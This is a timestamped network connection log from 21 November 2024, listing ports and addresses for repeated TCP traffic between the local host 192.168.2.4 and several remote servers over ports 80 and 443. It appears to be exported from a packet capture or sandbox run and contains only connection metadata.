Nov 21, 2024 07:10:13.765678883 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.765794039 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.765845060 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.766242981 CET	443	49770	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:13.766566038 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.766623974 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.766664982 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.767116070 CET	49770	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:13.767138004 CET	443	49770	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:13.767152071 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.767447948 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.767566919 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.767617941 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.767663002 CET	49770	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:13.767668009 CET	443	49770	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:13.768363953 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.768404007 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.768421888 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.768464088 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.769196987 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.769252062 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.769332886 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.769599915 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.770112038 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.770157099 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.770222902 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.770293951 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.770987034 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.771039963 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.771083117 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.771132946 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.771899939 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.772000074 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.772044897 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.772757053 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.772876024 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.772919893 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.773642063 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.773688078 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.773792982 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.774173021 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.774544001 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.774588108 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.774672985 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.774718046 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.775403023 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.775445938 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.775515079 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.775557041 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.776632071 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.776752949 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.777170897 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.777447939 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.777525902 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.778074026 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.778165102 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.778970957 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.779068947 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.779879093 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.779979944 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.779984951 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.780020952 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.781234980 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.781474113 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.781523943 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.781616926 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.781662941 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.781733036 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.781774044 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.782535076 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.782609940 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.782617092 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.782836914 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.783396959 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.783507109 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.783549070 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.784279108 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.784379005 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.784421921 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.785168886 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.785213947 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.785324097 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.786099911 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.786144972 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.786186934 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.786927938 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.787045002 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.787075043 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.787089109 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.787813902 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.787882090 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.787923098 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.787964106 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.788708925 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.788774014 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.788809061 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.789004087 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.789630890 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.789776087 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.789825916 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.790519953 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.790565968 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.790616035 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.790673018 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.791429996 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.791555882 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.791579008 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.791626930 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.792267084 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.795162916 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.798007965 CET	443	49772	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:13.798631907 CET	49772	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:13.798683882 CET	443	49772	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:13.799199104 CET	49772	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:13.799211979 CET	443	49772	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:13.873373032 CET	443	49773	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:13.873907089 CET	49773	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:13.873935938 CET	443	49773	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:13.874332905 CET	49773	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:13.874340057 CET	443	49773	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:13.915641069 CET	443	49771	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:13.916098118 CET	49771	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:13.916120052 CET	443	49771	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:13.916400909 CET	49771	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:13.916405916 CET	443	49771	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:13.939779043 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.939800024 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.939843893 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.939873934 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.940104961 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.940151930 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.940282106 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.940323114 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.940962076 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.941005945 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.941148996 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.941193104 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.941981077 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.942023039 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.942126036 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.942167997 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.942814112 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.942862034 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.942971945 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.943018913 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.943705082 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.943747044 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.943893909 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.943934917 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.944611073 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.944653034 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.944763899 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.944803953 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.945658922 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.945673943 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.945700884 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.945710897 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.946523905 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.946541071 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.946568012 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.946577072 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.947361946 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.947400093 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.947532892 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.947576046 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.948219061 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.948262930 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.948415041 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.948456049 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.949093103 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.949136019 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.949268103 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.949307919 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.949964046 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.950007915 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.950162888 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.950215101 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.950866938 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.950910091 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.951060057 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.951097012 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.951762915 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.951802969 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.951948881 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.951987982 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.952652931 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.952698946 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.952822924 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.952866077 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.953515053 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.953557014 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.953706026 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.953748941 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.954374075 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.954473972 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.954566002 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.954615116 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.955297947 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.955334902 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.955446005 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.955486059 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.956159115 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.956202984 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.956305981 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.956343889 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.957186937 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.957201004 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.957227945 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.957241058 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.958028078 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.958043098 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.958072901 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.958900928 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.958915949 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.958940983 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.958961964 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:13.959707975 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:13.959753990 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:14.203567982 CET	443	49770	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:14.203644991 CET	443	49770	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:14.203691959 CET	49770	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:14.204041004 CET	49770	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:14.204056978 CET	443	49770	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:14.204066038 CET	49770	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:14.204071999 CET	443	49770	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:14.207459927 CET	49775	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:14.207499027 CET	443	49775	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:14.207561970 CET	49775	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:14.207672119 CET	49775	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:14.207688093 CET	443	49775	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:14.231930971 CET	443	49772	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:14.232111931 CET	443	49772	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:14.232187986 CET	49772	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:14.233944893 CET	49772	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:14.233946085 CET	49772	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:14.233989000 CET	443	49772	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:14.234019995 CET	443	49772	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:14.253345013 CET	49776	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:14.253376007 CET	443	49776	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:14.253431082 CET	49776	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:14.254595995 CET	49776	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:14.254607916 CET	443	49776	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:14.319264889 CET	443	49773	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:14.319356918 CET	443	49773	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:14.319403887 CET	49773	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:14.319571972 CET	49773	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:14.319596052 CET	443	49773	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:14.319612026 CET	49773	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:14.319618940 CET	443	49773	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:14.322550058 CET	49777	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:14.322582006 CET	443	49777	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:14.322643995 CET	49777	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:14.323177099 CET	49777	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:14.323193073 CET	443	49777	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:14.371926069 CET	443	49771	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:14.372013092 CET	443	49771	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:14.372059107 CET	49771	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:14.372312069 CET	49771	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:14.372324944 CET	443	49771	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:14.372334003 CET	49771	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:14.372338057 CET	443	49771	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:14.375351906 CET	49778	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:14.375364065 CET	443	49778	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:14.375428915 CET	49778	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:14.375837088 CET	49778	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:14.375848055 CET	443	49778	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:14.554486036 CET	443	49774	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:14.555147886 CET	49774	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:14.555207968 CET	443	49774	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:14.555650949 CET	49774	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:14.555663109 CET	443	49774	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:15.008990049 CET	443	49774	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:15.009035110 CET	443	49774	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:15.009094954 CET	49774	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:15.009377003 CET	49774	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:15.009421110 CET	443	49774	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:15.009466887 CET	49774	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:15.009483099 CET	443	49774	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:15.013128042 CET	49779	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:15.013155937 CET	443	49779	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:15.013216019 CET	49779	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:15.013588905 CET	49779	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:15.013603926 CET	443	49779	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:15.987812042 CET	443	49775	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:15.988301992 CET	49775	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:15.988352060 CET	443	49775	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:15.988923073 CET	49775	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:15.988934994 CET	443	49775	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:16.038728952 CET	443	49776	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:16.039309025 CET	49776	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:16.039328098 CET	443	49776	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:16.039671898 CET	49776	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:16.039676905 CET	443	49776	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:16.107345104 CET	443	49777	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:16.107784033 CET	49777	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:16.107796907 CET	443	49777	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:16.108149052 CET	49777	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:16.108153105 CET	443	49777	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:16.157110929 CET	443	49778	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:16.157613039 CET	49778	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:16.157635927 CET	443	49778	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:16.158145905 CET	49778	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:16.158152103 CET	443	49778	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:16.184704065 CET	49764	80	192.168.2.4	185.215.113.43
Nov 21, 2024 07:10:16.185106039 CET	49781	80	192.168.2.4	185.215.113.43
Nov 21, 2024 07:10:16.186503887 CET	49780	443	192.168.2.4	188.114.97.3
Nov 21, 2024 07:10:16.186538935 CET	443	49780	188.114.97.3	192.168.2.4
Nov 21, 2024 07:10:16.186707020 CET	49780	443	192.168.2.4	188.114.97.3
Nov 21, 2024 07:10:16.189660072 CET	49780	443	192.168.2.4	188.114.97.3
Nov 21, 2024 07:10:16.189677000 CET	443	49780	188.114.97.3	192.168.2.4
Nov 21, 2024 07:10:16.304999113 CET	80	49781	185.215.113.43	192.168.2.4
Nov 21, 2024 07:10:16.305095911 CET	49781	80	192.168.2.4	185.215.113.43
Nov 21, 2024 07:10:16.305313110 CET	49781	80	192.168.2.4	185.215.113.43
Nov 21, 2024 07:10:16.305316925 CET	80	49764	185.215.113.43	192.168.2.4
Nov 21, 2024 07:10:16.305389881 CET	49764	80	192.168.2.4	185.215.113.43
Nov 21, 2024 07:10:16.426050901 CET	80	49781	185.215.113.43	192.168.2.4
Nov 21, 2024 07:10:16.436793089 CET	443	49775	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:16.436866045 CET	443	49775	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:16.436920881 CET	49775	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:16.437302113 CET	49775	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:16.437325954 CET	443	49775	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:16.437340975 CET	49775	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:16.437347889 CET	443	49775	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:16.440841913 CET	49782	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:16.440865993 CET	443	49782	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:16.440931082 CET	49782	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:16.441149950 CET	49782	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:16.441165924 CET	443	49782	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:16.483541965 CET	443	49776	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:16.483691931 CET	443	49776	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:16.483756065 CET	49776	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:16.483846903 CET	49776	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:16.483860970 CET	443	49776	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:16.483870983 CET	49776	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:16.483875036 CET	443	49776	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:16.486788988 CET	49783	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:16.486826897 CET	443	49783	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:16.486917973 CET	49783	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:16.487081051 CET	49783	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:16.487097025 CET	443	49783	13.107.246.45	192.168.2.4
